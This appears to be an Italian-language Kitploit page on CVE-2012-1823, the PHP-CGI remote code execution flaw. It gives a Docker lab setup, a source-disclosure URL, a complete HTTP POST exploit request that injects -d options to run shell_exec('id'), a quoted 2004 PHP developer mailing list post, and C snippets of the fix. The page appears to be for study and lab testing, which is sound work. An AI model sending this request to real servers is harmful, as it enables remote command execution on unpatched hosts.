PHP_CVE-2012-1823 — PoC educativo e analisi di CVE-2012-1823, una vulnerabilità di esecuzione remota di codice PHP-CGI. Include ambiente di test basato su Docker, dimostrazione dell'exploit e analisi tecnica dettagliata della causa principale e dei bypass. | Kitploit

Vulnerabilità di esecuzione remota di codice PHP-CGI (CVE-2012-1823)

Principio

Articolo di riferimento: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
Versioni interessate: php < 5.3.12 oppure php < 5.4.2

Ambiente di test

Ambiente di compilazione ed esecuzione:

docker-compose build
docker-compose up -d

Dopo l'avvio dell'ambiente, visitando http://your-ip:8080/ si può vedere la scritta "Hello".

Visitando http://your-ip:8080/index.php?-s viene esposto il codice sorgente, a dimostrazione che la vulnerabilità esiste. Inviando il seguente pacchetto, si può vedere che il codice nel Body è stato eseguito:

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

<?php echo shell_exec("id"); ?>

From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)

In our SAPI cgi we have a check along these lines:

    if (getenv("SERVER_SOFTWARE")
        || getenv("SERVER_NAME")
        || getenv("GATEWAY_INTERFACE")
        || getenv("REQUEST_METHOD")) {
        cgi = 1;
    }

    if(!cgi) getopt(...)

As in, we do not parse command line args for the cgi binary if we are 
running in a web context.  At the same time our regression testing system 
tries to use the cgi binary and it sets these variables in order to 
properly test GET/POST requests.  From the regression testing system we 
use -d extensively to override ini settings to make sure our test 
environment is sane.  Of course these two ideas conflict, so currently our 
regression testing is somewhat broken.  We haven't noticed because we 
don't have many tests that have GET/POST data and we rarely build the cgi 
binary.

The point of the question here is if anybody remembers why we decided not 
to parse command line args for the cgi version?  I could easily see it 
being useful to be able to write a cgi script like:

  #!/usr/local/bin/php-cgi -d include_path=/path
  <?php
      ...
  ?>

and have it work both from the command line and from a web context.

As far as I can tell this wouldn't conflict with anything, but somebody at 
some point must have had a reason for disallowing this.

-Rasmus

if(query_string = getenv("QUERY_STRING")) {
	decoded_query_string = strdup(query_string);
	php_url_decode(decoded_query_string, strlen(decoded_query_string));
	if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
		skip_getopt = 1;
	}
	free(decoded_query_string);
}

if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
	/* we've got query string that has no = - apache CGI will pass it to command line */
	unsigned char *p;
	decoded_query_string = strdup(query_string);
	php_url_decode(decoded_query_string, strlen(decoded_query_string));
	for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
		/* skip all leading spaces */
	}
	if(*p == '-') {
		skip_getopt = 1;
	}
	free(decoded_query_string);
}

PHP_CVE-2012-1823

Più Popolari

Analisi della vulnerabilità

PHP SAPI e modalità di esecuzione

Cause storiche

Sfruttamento della vulnerabilità

CVE-2012-2311